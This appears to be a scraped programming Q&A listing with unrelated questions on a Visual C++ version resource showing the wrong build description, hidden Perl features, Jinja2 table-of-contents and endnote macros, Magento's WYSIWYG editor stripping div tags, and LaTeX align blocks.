    We have set-up a simple versioning system for our builds to ensure the built files always indicate whether they are Beta Debug or Beta Release builds I moved the file version info to to myapp.rc2 and created version.h // version.h // _DEBUG is defined by VS #define _BETA #ifdef _BETA #define FILE_DESC1 _T("BETA ") #else #define FILE_DESC1 // blank on purpose #endif #ifdef _DEBUG #define FILE_DESC2 _T("Debug Version ") #else #define FILE_DESC2 _T("Release Version ") // this is greyed out in the ide when building #endif #define FILE_DESC FILE_DESC1 FILE_DESC2 // myapp.rc2 include "version.h" #ifndef _T #define _T(x) x #endif VS_VERSION_INFO VERSIONINFO FILEVERSION PROD_VER_MJR,PROD_VER_MIN,PROD_VER_UPD,JOBUILDER_BUILD PRODUCTVERSION PROD_VER_MJR,PROD_VER_MIN FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L #else FILEFLAGS 0x0L #endif FILEOS 0x4L FILETYPE 0x1L FILESUBTYPE 0x0L BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904e4" BEGIN VALUE "CompanyName", COMPANY_NAME VALUE "FileDescription", FILE_DESC VALUE "FileVersion", JOBBUI_VERSION VALUE "InternalName", "MyApp.exe" VALUE "LegalCopyright", COPYRIGHT VALUE "OriginalFilename", "MyApp.exe" VALUE "ProductName", PRODUCT_NAME VALUE "ProductVersion", PRODUCT_VERSION VALUE "Comments", COMMENTS END END BLOCK "VarFileInfo" BEGIN VALUE "Translation", 0x409, 1252 END END However when the exe is built in the debug output directory the file description always incorrectly says "BETA Release Version" instead of "BETA Debug Version" Yet the IDE indicates that "#define FILE_DESC2 _T("Debug Version ")" would be used. Why might this be? I have used these files on another project and they work correctly. Thank You...

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  • Hidden features of Perl?

    - by Adam Bellaire
    What are some really useful but esoteric language features in Perl that you've actually been able to employ to do useful work? Guidelines: Try to limit answers to the Perl core and not CPAN Please give an example and a short description Hidden Features also found in other languages' Hidden Features: (These are all from Corion's answer) C# Duff's Device Portability and Standardness Quotes for whitespace delimited lists and strings Aliasable namespaces Java Static Initalizers JavaScript Functions are First Class citizens Block scope and closure Calling methods and accessors indirectly through a variable Ruby Defining methods through code PHP Pervasive online documentation Magic methods Symbolic references Python One line value swapping Ability to replace even core functions with your own functionality Other Hidden Features: Operators: The bool quasi-operator The flip-flop operator Also used for list construction The ++ and unary - operators work on strings The repetition operator The spaceship operator The || operator (and // operator) to select from a set of choices The diamond operator Special cases of the m// operator The tilde-tilde "operator" Quoting constructs: The qw operator Letters can be used as quote delimiters in q{}-like constructs Quoting mechanisms Syntax and Names: There can be a space after a sigil You can give subs numeric names with symbolic references Legal trailing commas Grouped Integer Literals hash slices Populating keys of a hash from an array Modules, Pragmas, and command-line options: use strict and use warnings Taint checking Esoteric use of -n and -p CPAN overload::constant IO::Handle module Safe compartments Attributes Variables: Autovivification The $[ variable tie Dynamic Scoping Variable swapping with a single statement Loops and flow control: Magic goto for on a single variable continue clause Desperation mode Regular expressions: The \G anchor (?{}) and '(??{})` in regexes Other features: The debugger Special code blocks such as BEGIN, CHECK, and END The DATA block New Block Operations Source Filters Signal Hooks map (twice) Wrapping built-in functions The eof function The dbmopen function Turning warnings into errors Other tricks, and meta-answers: cat files, decompressing gzips if needed Perl Tips See Also: Hidden features of C Hidden features of C# Hidden features of C++ Hidden features of Java Hidden features of JavaScript Hidden features of Ruby Hidden features of PHP Hidden features of Python

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  • Create Jinja2 macros that put content in separate places

    - by Brian M. Hunt
    I want to create a table of contents and endnotes in a Jinja2 template. How can one accomplish these tasks? For example, I want to have a template as follows: {% block toc %} {# ... the ToC goes here ... #} {% endblock %} {% include "some other file with content.jnj" %} {% block endnotes %} {# ... the endnotes go here ... #} {% endblock %} Where the some other file with content.jnj has content like this: {% section "One" %} Title information for Section One (may be quite long); goes in Table of Contents ... Content of section One {% section "Two" %} Title information of Section Two (also may be quite long) <a href="#" id="en1">EndNote 1</a> <script type="text/javsacript">...(may be reasonably long) </script> {# ... Everything up to here is included in the EndNote #} Where I say "may be quite/reasonably long" I mean to say that it can't reasonably be put into quotes as an argument to a macro or global function. I'm wondering if there's a pattern for this that may accommodate this, within the framework of Jinja2. My initial thought is to create an extension, so that one can have a block for sections and end-notes, like-so: {% section "One" %} Title information goes here. {% endsection %} {% endnote "one" %} <a href="#">...</a> <script> ... </script> {% endendnote %} Then have global functions (that pass in the Jinja2 Environment): {{ table_of_contents() }} {% include ... %} {{ endnotes() }} However, while this will work for endnotes, I'd presume it requires a second pass by something for the table of contents. Thank you for reading. I'd be much obliged for your thoughts and input. Brian

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  • How to Disable/Enable WYSIWYG editor in Magento 1.4

    - by latvian
    Hi When entering code in CMS static block(possible page as well) and in this code there is empty DIV tags such us: <a href="javascript:hide1(),show2(),hide3()"><div class="dropoff_button"></div></a> The DIV tags will be gone next time you open the block to edit. it will look as this <a href="javascript:hide1(),show2(),hide3()"> </a> without the div tags ...and saving again it modifies your code. I think it something to do with the 'show/hide editor'. By default it goes into the WYSIWYG editor, so when updating static block i don't see any other solution than 1."hide the editor' by clicking 'show/hide editor' 2.delete the old code from the editor 3. get code that doesn't miss the DIVs 4. Merge new code with code in 3 in some other editing software than magento 5. paste result in the magento editor, 6. Save Is this bug? What is your solution? Can i turn of WYSIWYG editor?

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  • LaTex, align alignment characters between align blocks

    - by ccook
    I would like to align two alignment characters between two align blocks so that I can have some text in the middle of a derivation with equations maintaining the horizontal alignment. For example the following excerpt of latex using align \begin{align*} \frac{\delta \phi}{\delta x_1} = {} &\frac{9}{8}\frac{\delta_1\phi}{\delta_1x_1}-\frac{1}{8}\frac{\delta_3\phi}{\delta_3x_1} \\ & \frac{9}{8}\frac{1}{h_1}\left[\phi(x_1+h_1/2)-\phi(x_i-h_1/2)\right]-\frac{1}{8}\frac{1}{3h_1}\left[\phi(x_i+3h_1/2)-\phi(x_1-3h_1/2)\right] \end{align*} some text in the middle \begin{align*} & \frac{9}{8}\frac{1}{h_1}\left[\phi(x_1+h_1/2)-\phi(x_i-h_1/2)\right]-\frac{1}{8}\frac{1}{3h_1}\left[\phi(x_i+3h_1/2)-\phi(x_1-3h_1/2)\right] \end{align*} Ideally I would like the left of the equation in the second block to line up with that of the second equation in the first block. I could do a workaround by not having text in the middle, however, I would like this functionality. EDIT I would like to have a good amount of text between. Say three to four lines that line up as normal paragraphs. Adding text in the alignment block is the workaround I poorly alluded to.

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